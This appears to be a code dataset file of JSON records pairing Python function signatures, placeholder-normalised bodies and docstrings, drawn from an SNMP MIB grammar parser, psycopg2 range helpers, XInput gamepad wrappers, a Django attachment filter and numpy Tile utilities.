{"signature": "def p_Modules_Capabilities(self, p):", "body": "<EOL>", "docstring": "Modules_Capabilities : Modules_Capabilities Module_Capabilities\n                                | Module_Capabilities", "id": "f5672:c0:m132"}
{"signature": "def p_Module_Capabilities(self, p):", "body": "<EOL>", "docstring": "Module_Capabilities : SUPPORTS ModuleName_Capabilities INCLUDES '{' CapabilitiesGroups '}' VariationPart", "id": "f5672:c0:m133"}
{"signature": "def p_CapabilitiesGroups(self, p):", "body": "<EOL>", "docstring": "CapabilitiesGroups : CapabilitiesGroups ',' CapabilitiesGroup\n                              | CapabilitiesGroup", "id": "f5672:c0:m134"}
{"signature": "def p_CapabilitiesGroup(self, p):", "body": "<EOL>", "docstring": "CapabilitiesGroup : objectIdentifier", "id": "f5672:c0:m135"}
{"signature": "def p_ModuleName_Capabilities(self, p):", "body": "<EOL>", "docstring": "ModuleName_Capabilities : UPPERCASE_IDENTIFIER objectIdentifier\n                                   | UPPERCASE_IDENTIFIER", "id": "f5672:c0:m136"}
{"signature": "def p_VariationPart(self, p):", "body": "<EOL>", "docstring": "VariationPart : Variations\n                         | empty", "id": "f5672:c0:m137"}
{"signature": "def p_Variations(self, p):", "body": "<EOL>", "docstring": "Variations : Variations Variation\n                      | Variation", "id": "f5672:c0:m138"}
{"signature": "def p_Variation(self, p):", "body": "<EOL>", "docstring": "Variation : VARIATION ObjectName SyntaxPart WriteSyntaxPart VariationAccessPart CreationPart DefValPart DESCRIPTION Text", "id": "f5672:c0:m139"}
{"signature": "def p_VariationAccessPart(self, p):", "body": "<EOL>", "docstring": "VariationAccessPart : ACCESS VariationAccess\n                               | empty", "id": "f5672:c0:m140"}
{"signature": "def p_VariationAccess(self, p):", "body": "<EOL>", "docstring": "VariationAccess : LOWERCASE_IDENTIFIER", "id": "f5672:c0:m141"}
{"signature": "def p_CreationPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "CreationPart : CREATION_REQUIRES '{' Cells '}'\n                        | empty", "id": "f5672:c0:m142"}
{"signature": "def p_Cells(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:3>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "Cells : Cells ',' Cell\n                 | Cell", "id": "f5672:c0:m143"}
{"signature": "def p_Cell(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL>", "docstring": "Cell : ObjectName", "id": "f5672:c0:m144"}
{"signature": "def p_empty(self, p):", "body": "", "docstring": "empty :", "id": "f5672:c0:m145"}
{"signature": "@staticmethod<EOL><INDENT>def p_importedKeyword(self, p):<DEDENT>", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "importedKeyword : importedSMIKeyword\n                           | BITS\n                           | INTEGER32\n                           | IPADDRESS\n                           | NETWORKADDRESS\n                           | MANDATORY_GROUPS\n                           | MODULE_COMPLIANCE\n                           | MODULE_IDENTITY\n                           | OBJECT_GROUP\n                           | OBJECT_IDENTITY\n                           | OBJECT_TYPE\n                           | OPAQUE\n                           | TEXTUAL_CONVENTION\n                           | TIMETICKS\n                           | UNSIGNED32", "id": "f5672:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_typeSMIandSPPI(self, p):<DEDENT>", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "typeSMIandSPPI : IPADDRESS\n                          | NETWORKADDRESS\n                          | TIMETICKS\n                          | OPAQUE\n                          | INTEGER32\n                          | UNSIGNED32", "id": "f5672:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def p_ApplicationSyntax(self, p):<DEDENT>", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL><DEDENT>elif n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "ApplicationSyntax : IPADDRESS anySubType\n                             | NETWORKADDRESS anySubType\n                             | COUNTER32\n                             | COUNTER32 integerSubType\n                             | GAUGE32\n                             | GAUGE32 integerSubType\n                             | UNSIGNED32\n                             | UNSIGNED32 integerSubType\n                             | TIMETICKS anySubType\n                             | OPAQUE\n                             | OPAQUE octetStringSubType\n                             | COUNTER64\n                             | COUNTER64 integerSubType", "id": "f5672:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def p_sequenceApplicationSyntax(self, p):<DEDENT>", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "sequenceApplicationSyntax : IPADDRESS anySubType\n                                     | NETWORKADDRESS anySubType\n                                     | COUNTER32 anySubType\n                                     | GAUGE32 anySubType\n                                     | UNSIGNED32 anySubType\n                                     | TIMETICKS anySubType\n                                     | OPAQUE\n                                     | COUNTER64 anySubType", "id": "f5672:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def p_Index(self, p):<DEDENT>", "body": "<EOL>p[<NUM_LIT:0>] = isinstance(p[<NUM_LIT:1>], tuple) and p[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>] or p[<NUM_LIT:1>]<EOL>", "docstring": "Index : ObjectName\n                 | typeSMIv1", "id": "f5672:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_typeSMIv1(self, p):<DEDENT>", "body": "n = len(p)<EOL>indextype = n == <NUM_LIT:3> and p[<NUM_LIT:1>] + '<STR_LIT:U+0020>' + p[<NUM_LIT:2>] or p[<NUM_LIT:1>]<EOL>p[<NUM_LIT:0>] = indextype<EOL>", "docstring": "typeSMIv1 : INTEGER\n                     | OCTET STRING\n                     | IPADDRESS\n                     | NETWORKADDRESS", "id": "f5672:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def p_importIdentifiers(self, p):<DEDENT>", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>elif n == <NUM_LIT:3>:  <EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "importIdentifiers : importIdentifiers ',' importIdentifier\n                             | importIdentifier\n                             | importIdentifiers ',", "id": "f5672:c3:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_sequenceItems(self, p):<DEDENT>", "body": "<EOL>n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>elif n == <NUM_LIT:3>:  <EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "sequenceItems : sequenceItems ',' sequenceItem\n                         | sequenceItem\n                         | sequenceItems ',", "id": "f5672:c4:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_enumItems(self, p):<DEDENT>", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>elif n == <NUM_LIT:3>:  <EOL><INDENT>if p[<NUM_LIT:2>] == '<STR_LIT:U+002C>':<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL><DEDENT><DEDENT>", "docstring": "enumItems : enumItems ',' enumItem\n                     | enumItem\n                     | enumItems enumItem\n                     | enumItems ',", "id": "f5672:c5:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_enumItem(self, p):<DEDENT>", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "enumItem : LOWERCASE_IDENTIFIER '(' enumNumber ')'\n                    | UPPERCASE_IDENTIFIER '(' enumNumber ')", "id": "f5672:c6:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_notificationTypeClause(self, p):<DEDENT>", "body": "<EOL>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:3>],  <EOL>p[<NUM_LIT:5>],  <EOL>(p[<NUM_LIT:6>], p[<NUM_LIT:7>]),  <EOL>p[<NUM_LIT:8>],   <EOL>p[<NUM_LIT:11>])<EOL>", "docstring": "notificationTypeClause : fuzzy_lowercase_identifier NOTIFICATION_TYPE NotificationObjectsPart STATUS Status DESCRIPTION Text ReferPart COLON_COLON_EQUAL '{' NotificationName '}", "id": "f5672:c7:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_trapTypeClause(self, p):<DEDENT>", "body": "<EOL>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:3>],  <EOL>p[<NUM_LIT:4>],  <EOL>p[<NUM_LIT:5>],  <EOL>p[<NUM_LIT:6>],  <EOL>p[<NUM_LIT:8>])<EOL>", "docstring": "trapTypeClause : fuzzy_lowercase_identifier TRAP_TYPE EnterprisePart VarPart DescrPart ReferPart COLON_COLON_EQUAL NUMBER", "id": "f5672:c8:m0"}
{"signature": "@staticmethod<EOL><INDENT>def p_EnterprisePart(self, p):<DEDENT>", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL><DEDENT>elif n == <NUM_LIT:5>:  <EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:3>]<EOL><DEDENT>", "docstring": "EnterprisePart : ENTERPRISE objectIdentifier\n                          | ENTERPRISE '{' objectIdentifier '}", "id": "f5672:c8:m1"}
{"signature": "@staticmethod<EOL><INDENT>def p_CreationPart(self, p):<DEDENT>", "body": "n = len(p)<EOL>if n == <NUM_LIT:5>:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "CreationPart : CREATION_REQUIRES '{' Cells '}'\n                        | CREATION_REQUIRES '{' '}'\n                        | empty", "id": "f5672:c9:m0"}
{"signature": "def coerce(value1, value2, default=None):", "body": "if value1 is not NoSet:<EOL><INDENT>return value1<EOL><DEDENT>elif value2 is not NoSet:<EOL><INDENT>return value2<EOL><DEDENT>else:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Exclude NoSet objec\n\n    .. code-block::\n\n        >>> coerce(NoSet, 'value')\n        'value'", "id": "f5714:m0"}
{"signature": "def register_range_type(pgrange, pyrange, conn):", "body": "register_adapter(pyrange, partial(adapt_range, pgrange))<EOL>register_range_caster(<EOL>pgrange, pyrange, *query_range_oids(pgrange, conn), scope=conn)<EOL>", "docstring": "Register a new range type as a PostgreSQL range.\n\n    >>> register_range_type(\"int4range\", intrange, conn)\n\nThe above will make sure intrange is regarded as an int4range for queries\nand that int4ranges will be cast into intrange when fetching rows.\n\npgrange should be the full name including schema for the custom range type.\n\nNote that adaption is global, meaning if a range type is passed to a regular\npsycopg2 connection it will adapt it to its proper range type. Parsing of\nrows from the database however is not global and just set on a per connection\nbasis.", "id": "f5718:m1"}
{"signature": "def main():", "body": "import time<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>con = rController(<NUM_LIT:1>)<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>print('<STR_LIT>')<EOL>time.sleep(<NUM_LIT>)<EOL>print('<STR_LIT>', con.gamepad)<EOL>print('<STR_LIT>', con.buttons)<EOL>time.sleep(<NUM_LIT:0.5>)<EOL><DEDENT>print('<STR_LIT>')<EOL>", "docstring": "Test the functionality of the rController object", "id": "f5720:m0"}
{"signature": "def __init__(self, ControllerID):", "body": "self.ControllerID = ControllerID<EOL>self.dwPacketNumber = c_uint()<EOL>", "docstring": "Initialise Controller object\n        ControllerID    Int     Position number of desired controller (order of connection)", "id": "f5720:c2:m0"}
{"signature": "@property<EOL><INDENT>def gamepad(self):<DEDENT>", "body": "state = _xinput_state()<EOL>_xinput.XInputGetState(self.ControllerID - <NUM_LIT:1>, pointer(state))<EOL>self.dwPacketNumber = state.dwPacketNumber<EOL>return state.XINPUT_GAMEPAD<EOL>", "docstring": "Returns the current gamepad state. Buttons pressed is shown as a raw integer value.\n        Use rController.buttons for a list of buttons pressed.", "id": "f5720:c2:m1"}
{"signature": "@property<EOL><INDENT>def buttons(self):<DEDENT>", "body": "return [name for name, value in rController._buttons.items()<EOL>if self.gamepad.wButtons & value == value]<EOL>", "docstring": "Returns a list of buttons currently pressed", "id": "f5720:c2:m2"}
{"signature": "def __del__(self):", "body": "self.UnPlug()<EOL>", "docstring": "Unplug self if object is cleaned up", "id": "f5722:c1:m1"}
{"signature": "def PlugIn(self):", "body": "ids = self.available_ids()<EOL>if len(ids) == <NUM_LIT:0>:<EOL><INDENT>raise MaxInputsReachedError('<STR_LIT>')<EOL><DEDENT>self.id = ids[<NUM_LIT:0>]<EOL>_xinput.PlugIn(self.id)<EOL>while self.id in self.available_ids():<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Take next available controller id and plug in to Virtual USB Bus", "id": "f5722:c1:m3"}
{"signature": "def UnPlug(self, force=False):", "body": "if force:<EOL><INDENT>_xinput.UnPlugForce(c_uint(self.id))<EOL><DEDENT>else:<EOL><INDENT>_xinput.UnPlug(c_uint(self.id))<EOL><DEDENT>while self.id not in self.available_ids():<EOL><INDENT>if self.id == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Unplug controller from Virtual USB Bus and free up ID", "id": "f5722:c1:m4"}
{"signature": "def set_value(self, control, value=None):", "body": "func = getattr(_xinput, '<STR_LIT>' + control)<EOL>if '<STR_LIT>' in control:<EOL><INDENT>target_type = c_short<EOL>if self.percent:<EOL><INDENT>target_value = int(<NUM_LIT> * value)<EOL><DEDENT>else:<EOL><INDENT>target_value = value<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in control:<EOL><INDENT>target_type = c_bool<EOL>target_value = bool(value)<EOL><DEDENT>elif '<STR_LIT>' in control:<EOL><INDENT>target_type = c_byte<EOL>if self.percent:<EOL><INDENT>target_value = int(<NUM_LIT:255> * value)<EOL><DEDENT>else:<EOL><INDENT>target_value = value<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in control:<EOL><INDENT>target_type = c_int<EOL>target_value = int(value)<EOL><DEDENT>func(c_uint(self.id), target_type(target_value))<EOL>", "docstring": "Set a value on the controller\n    If percent is True all controls will accept a value between -1.0 and 1.0\n\n    If not then:\n        Triggers are 0 to 255\n        Axis are -32768 to 32767\n\n    Control List:\n        AxisLx          , Left Stick X-Axis\n        AxisLy          , Left Stick Y-Axis\n        AxisRx          , Right Stick X-Axis\n        AxisRy          , Right Stick Y-Axis\n        BtnBack         , Menu/Back Button\n        BtnStart        , Start Button\n        BtnA            , A Button\n        BtnB            , B Button\n        BtnX            , X Button\n        BtnY            , Y Button\n        BtnThumbL       , Left Thumbstick Click\n        BtnThumbR       , Right Thumbstick Click\n        BtnShoulderL    , Left Shoulder Button\n        BtnShoulderR    , Right Shoulder Button\n        Dpad            , Set Dpad Value (0 = Off, Use DPAD_### Constants)\n        TriggerL        , Left Trigger\n        TriggerR        , Right Trigger", "id": "f5722:c1:m5"}
{"signature": "@register.filter()<EOL>def attachments(value, obj, width = WIDTH):", "body": "match = ATTACHMENT_REGEX.search(value)<EOL>safe = isinstance(value, (SafeString, SafeUnicode))<EOL>while not match is None and match.end() <= len(value):<EOL><INDENT>start = match.start()<EOL>end = match.end()<EOL>groups = match.groups()<EOL>if len(groups) > <NUM_LIT:0>:<EOL><INDENT>index = groups[<NUM_LIT:0>]<EOL>options = None<EOL>if len(groups) > <NUM_LIT:1>:<EOL><INDENT>options = groups[<NUM_LIT:1>]<EOL>if options:<EOL><INDENT>options = options.strip()<EOL>if options:<EOL><INDENT>try:<EOL><INDENT>options = split(smart_str(options))<EOL><DEDENT>except:<EOL><INDENT>options = None<EOL><DEDENT><DEDENT><DEDENT><DEDENT>args = []<EOL>kwargs = {<EOL>'<STR_LIT:width>': width<EOL>}<EOL>if options:<EOL><INDENT>for option in options:<EOL><INDENT>key, equals, val = option.partition('<STR_LIT:=>')<EOL>if equals != '<STR_LIT:=>':<EOL><INDENT>if key and not val:<EOL><INDENT>args.append(key)<EOL><DEDENT>continue<EOL><DEDENT>kwargs[key] = val<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if isinstance(obj, dict):<EOL><INDENT>inner = Attachment(<EOL>**obj['<STR_LIT>'][int(index) - <NUM_LIT:1>]<EOL>).render(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>inner = obj.attachments.all()[int(index) - <NUM_LIT:1>].render(*args, **kwargs)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>inner = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>inner = '<STR_LIT>'<EOL><DEDENT>value = value[:start] + inner + value[end:]<EOL>match = ATTACHMENT_REGEX.search(value, start + len(inner))<EOL><DEDENT>if safe:<EOL><INDENT>return mark_safe(value)<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Parse the copy inside ``value`` and look for shortcodes in this format::\n\n    <p>Here's an attachment</p>\n    <p>[attachment 1]</p>\n\nReplace the shortcode with a full image, video or audio element, or download link\n\n:param obj: The object against which attachments are saved\n:param width: The width of images or audio/video tags (defaults to the ``ATTACHMENT_WIDTH`` SETTING)", "id": "f5725:m0"}
{"signature": "def oddify(num):", "body": "return num + (num % <NUM_LIT:2> == <NUM_LIT:0>)<EOL>", "docstring": "Return the next odd number if ``num`` is even.\n\nExamples\n--------\n>>> oddify(1)\n1\n\n>>> oddify(4)\n5", "id": "f5741:m0"}
{"signature": "def listify(a):", "body": "if a is None:<EOL><INDENT>return []<EOL><DEDENT>elif not isinstance(a, (tuple, list, np.ndarray)):<EOL><INDENT>return [a]<EOL><DEDENT>return list(a)<EOL>", "docstring": "Convert a scalar ``a`` to a list and all iterables to list as well.\n\nExamples\n--------\n>>> listify(0)\n[0]\n\n>>> listify([1,2,3])\n[1, 2, 3]\n\n>>> listify('a')\n['a']\n\n>>> listify(np.array([1,2,3]))\n[1, 2, 3]\n\n>>> listify('string')\n['string']", "id": "f5741:m1"}
{"signature": "def delistify(a, b=None):", "body": "if isinstance(b, (tuple, list, np.ndarray)):<EOL><INDENT>if isinstance(a, (tuple, list, np.ndarray)):<EOL><INDENT>return type(b)(a)<EOL><DEDENT>return type(b)([a])<EOL><DEDENT>else:<EOL><INDENT>if isinstance(a, (tuple, list, np.ndarray)) and len(a) == <NUM_LIT:1>:<EOL><INDENT>return a[<NUM_LIT:0>]<EOL><DEDENT>return a<EOL><DEDENT>return a<EOL>", "docstring": "If a single element list, extract the element as an object, otherwise\nleave as it is.\n\nExamples\n--------\n>>> delistify('string')\n'string'\n\n>>> delistify(['string'])\n'string'\n\n>>> delistify(['string', 'other'])\n['string', 'other']\n\n>>> delistify(np.array([1.0]))\n1.0\n\n>>> delistify([1, 2, 3])\n[1, 2, 3]", "id": "f5741:m2"}
{"signature": "def aN(a, dim=<NUM_LIT:3>, dtype='<STR_LIT:int>'):", "body": "if not hasattr(a, '<STR_LIT>'):<EOL><INDENT>return np.array([a]*dim, dtype=dtype)<EOL><DEDENT>return np.array(a).astype(dtype)<EOL>", "docstring": "Convert an integer or iterable list to numpy array of length dim. This func\nis used to allow other methods to take both scalars non-numpy arrays with\nflexibility.\n\nParameters\n----------\na : number, iterable, array-like\n    The object to convert to numpy array\n\ndim : integer\n    The length of the resulting array\n\ndtype : string or np.dtype\n    Type which the resulting array should be, e.g. 'float', np.int8\n\nReturns\n-------\narr : numpy array\n    Resulting numpy array of length ``dim`` and type ``dtype``\n\nExamples\n--------\n>>> aN(1, dim=2, dtype='float')\narray([ 1.,  1.])\n\n>>> aN(1, dtype='int')\narray([1, 1, 1])\n\n>>> aN(np.array([1,2,3]), dtype='float')\narray([ 1.,  2.,  3.])", "id": "f5741:m5"}
{"signature": "def cdd(d, k):", "body": "if not isinstance(k, list):<EOL><INDENT>k = [k]<EOL><DEDENT>for i in k:<EOL><INDENT>if i in d:<EOL><INDENT>d.pop(i)<EOL><DEDENT><DEDENT>", "docstring": "Conditionally delete key (or list of keys) 'k' from dict 'd", "id": "f5741:m9"}
{"signature": "def patch_docs(subclass, superclass):", "body": "funcs0 = inspect.getmembers(subclass, predicate=inspect.ismethod)<EOL>funcs1 = inspect.getmembers(superclass, predicate=inspect.ismethod)<EOL>funcs1 = [f[<NUM_LIT:0>] for f in funcs1]<EOL>for name, func in funcs0:<EOL><INDENT>if name.startswith('<STR_LIT:_>'):<EOL><INDENT>continue<EOL><DEDENT>if name not in funcs1:<EOL><INDENT>continue<EOL><DEDENT>if func.__doc__ is None:<EOL><INDENT>func = getattr(subclass, name)<EOL>func.__func__.__doc__ = getattr(superclass, name).__func__.__doc__<EOL><DEDENT><DEDENT>", "docstring": "Apply the documentation from ``superclass`` to ``subclass`` by filling\nin all overridden member function docstrings with those from the\nparent class", "id": "f5741:m12"}
{"signature": "@contextmanager<EOL>def indir(path):", "body": "cwd = os.getcwd()<EOL>try:<EOL><INDENT>os.chdir(path)<EOL>yield<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise<EOL><DEDENT>finally:<EOL><INDENT>os.chdir(cwd)<EOL><DEDENT>", "docstring": "Context manager for switching the current path of the process. Can be used:\n\n    with indir('/tmp'):\n        <do something in tmp>", "id": "f5741:m13"}
{"signature": "def __init__(self, left, right=None, mins=None, maxs=None,<EOL>size=None, centered=False, dim=None, dtype='<STR_LIT:int>'):", "body": "self.dtype = dtype<EOL>dims = set([getdim(i) for i in [left, right, size]] + [dim])<EOL>dims = dims.difference(set([None]))<EOL>if len(dims) == <NUM_LIT:0>:<EOL><INDENT>dim = <NUM_LIT:3><EOL><DEDENT>elif len(dims) == <NUM_LIT:1>:<EOL><INDENT>dim = dims.pop()<EOL><DEDENT>elif len(dims) > <NUM_LIT:1>:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>nkw = {'<STR_LIT>': dim, '<STR_LIT>': self.dtype}<EOL>if right is None:<EOL><INDENT>if size is None:<EOL><INDENT>right = left<EOL>left = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>if not centered:<EOL><INDENT>right = aN(left, **nkw) + aN(size, **nkw)<EOL><DEDENT>else:<EOL><INDENT>l = aN(left, **nkw)<EOL>s = aN(size, **nkw)<EOL>if isint(self.dtype):<EOL><INDENT>left = l - s//<NUM_LIT:2><EOL>right = left + s<EOL><DEDENT>else:<EOL><INDENT>left, right = l - s/<NUM_LIT>, l + s/<NUM_LIT><EOL><DEDENT><DEDENT>assert np.all((right - left) == size)<EOL><DEDENT><DEDENT>left = aN(left, **nkw)<EOL>right = aN(right, **nkw)<EOL>if dim is not None:<EOL><INDENT>self.dim = dim<EOL>assert(left.shape[<NUM_LIT:0>] == dim)<EOL>assert(right.shape[<NUM_LIT:0>] == dim)<EOL><DEDENT>else:<EOL><INDENT>self.dim = left.shape[<NUM_LIT:0>]<EOL><DEDENT>if mins is not None:<EOL><INDENT>left = amax(left, aN(mins, **nkw))<EOL><DEDENT>if maxs is not None:<EOL><INDENT>right = amin(right, aN(maxs, **nkw))<EOL><DEDENT>self.l = np.array(left)<EOL>self.r = np.array(right)<EOL>self._build_caches()<EOL>", "docstring": "Creates a tile element which represents a hyperrectangle in D\ndimensions. These hyperrectangles may be operated upon to find\nintersections, bounding tiles, calculate interior coordinates\nand other common operations.\n\n\nParameters\n----------\nleft : number or array-like\n    Left side of the tile\n\nright : (optional) number or array-like\n    If provided along with left, gives the right side of the tile\n\nmins : (optional) number or array-like\n    Can be provided to clip the sides of the Tile to certain minimum\n\nmaxs : (optional) number or array-like\n    Can be provided to clip the sides of the Tile to certain maximum\n\nsize : (optional) number or array-like\n    If provided along with left gives the size of the tile\n\ncentered : boolean\n    * If true:   ``[left] - [size]/2 -> [left] + [size]/2``\n    * If false:  ``[left] -> [left] + [size]``\n\ndim : integer\n    Number of dimensions for the Tile\n\ndtype : string, np.dtype\n    Resulting type of number for the Tile coordinates\n\nNotes\n-----\n\nThese parameters can be combined into many different combinations\n(where [] indicates an array created from either a single number or any\niterable):\n\n    * left : ``[0,0,0] -> [left]``\n    * left, right : ``[left] -> [right]``\n    * left, size (not centered) : ``[left] -> [left] + [size]``\n    * left, size (yes centered) : ``[left] - [size]/2 -> [left] + [size]/2``\n\nEach of these can be limited by using (mins, maxs) which are applied\nafter calculating left, right for each element:\n\n    * ``left = max(left, [mins])``\n    * ``right = min(right, [maxs])``\n\nSince tiles are used for array slicing, they only allow integer values,\nwhich can truncated without warning from float.\n\nNotes on dimension. The dimensionality is determined first by the shape\nof left, right, size if provided not as an integer. If it not provided there\nthen it is assumed to be 3D. This can be overridden by setting dim in the\narguments. For example:\n\n    * Tile(3)         : ``[0,0,0] -> [3,3,3]``\n    * Tile(3, dim=2)  : ``[0,0] -> [3,3]``\n    * Tile([3])       : ``[0] -> [3]``\n\nExamples\n--------\n>>> Tile(10)\nTile [0, 0, 0] -> [10, 10, 10] ([10, 10, 10])\n\n>>> Tile([1,2])\nTile [0, 0] -> [1, 2] ([1, 2])\n\n>>> Tile(0, size=4, centered=True)\nTile [-2, -2, -2] -> [2, 2, 2] ([4, 4, 4])\n\n>>> Tile([-1, 0, 1], right=10, mins=0)\nTile [0, 0, 1] -> [10, 10, 10] ([10, 10, 9])\n\n>>> Tile(10, dtype='float')\nTile [0.0, 0.0, 0.0] -> [10.0, 10.0, 10.0] ([10.0, 10.0, 10.0])", "id": "f5741:c1:m0"}
{"signature": "@property<EOL><INDENT>def slicer(self):<DEDENT>", "body": "return tuple(np.s_[l:r] for l,r in zip(*self.bounds))<EOL>", "docstring": "Array slicer object for this tile\n\n>>> Tile((2,3)).slicer\n(slice(0, 2, None), slice(0, 3, None))\n\n>>> np.arange(10)[Tile((4,)).slicer]\narray([0, 1, 2, 3])", "id": "f5741:c1:m2"}
{"signature": "def oslicer(self, tile):", "body": "mask = None<EOL>vecs = tile.coords(form='<STR_LIT>')<EOL>for v in vecs:<EOL><INDENT>v[self.slicer] = -<NUM_LIT:1><EOL>mask = mask & (v > <NUM_LIT:0>) if mask is not None else (v><NUM_LIT:0>)<EOL><DEDENT>return tuple(np.array(i).astype('<STR_LIT:int>') for i in zip(*[v[mask] for v in vecs]))<EOL>", "docstring": "Opposite slicer, the outer part wrt to a field", "id": "f5741:c1:m3"}
{"signature": "@property<EOL><INDENT>def center(self):<DEDENT>", "body": "return (self.r + self.l)/<NUM_LIT><EOL>", "docstring": "Return the center of the tile\n\n>>> Tile(5).center\narray([ 2.5,  2.5,  2.5])", "id": "f5741:c1:m6"}
{"signature": "@property<EOL><INDENT>def volume(self):<DEDENT>", "body": "return np.prod(self.shape)<EOL>", "docstring": "Volume of the tile\n\n>>> Tile(10).volume\n1000\n\n>>> Tile(np.sqrt(2), dim=2, dtype='float').volume #doctest: +ELLIPSIS\n2.0000000000...", "id": "f5741:c1:m7"}
{"signature": "@property<EOL><INDENT>def kcenter(self):<DEDENT>", "body": "return np.array([<EOL>np.abs(np.fft.fftshift(np.fft.fftfreq(q))).argmin()<EOL>for q in self.shape<EOL>]).astype('<STR_LIT:float>')<EOL>", "docstring": "Return the frequency center of the tile (says fftshift)", "id": "f5741:c1:m8"}
{"signature": "@property<EOL><INDENT>def corners(self):<DEDENT>", "body": "corners = []<EOL>for ind in itertools.product(*((<NUM_LIT:0>,<NUM_LIT:1>),)*self.dim):<EOL><INDENT>ind = np.array(ind)<EOL>corners.append(self.l + ind*self.r)<EOL><DEDENT>return np.array(corners)<EOL>", "docstring": "Iterate the vector of all corners of the hyperrectangles\n\n>>> Tile(3, dim=2).corners\narray([[0, 0],\n       [0, 3],\n       [3, 0],\n       [3, 3]])", "id": "f5741:c1:m9"}
